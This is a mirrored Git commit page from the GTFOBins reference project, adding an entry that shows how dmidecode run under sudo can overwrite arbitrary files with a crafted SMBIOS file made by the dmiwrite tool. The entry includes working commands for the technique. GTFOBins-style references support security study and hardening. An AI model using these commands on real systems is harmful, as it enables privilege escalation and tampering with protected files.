mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add dmidecode
This commit is contained in:
parent
cab9ab866b
commit
d6accb1ca3
21
_gtfobins/dmidecode.md
Normal file
21
_gtfobins/dmidecode.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: |
|
||||
It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.
|
||||
Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.
|
||||
|
||||
- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.
|
||||
|
||||
- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.
|
||||
|
||||
```
|
||||
make dmiwrite
|
||||
TF=$(mktemp)
|
||||
echo "DATA" > $TF
|
||||
./dmiwrite $TF x.dmi
|
||||
```
|
||||
code: |
|
||||
LFILE=file_to_write
|
||||
sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE"
|
||||
---
|
Loading…
Reference in New Issue
Block a user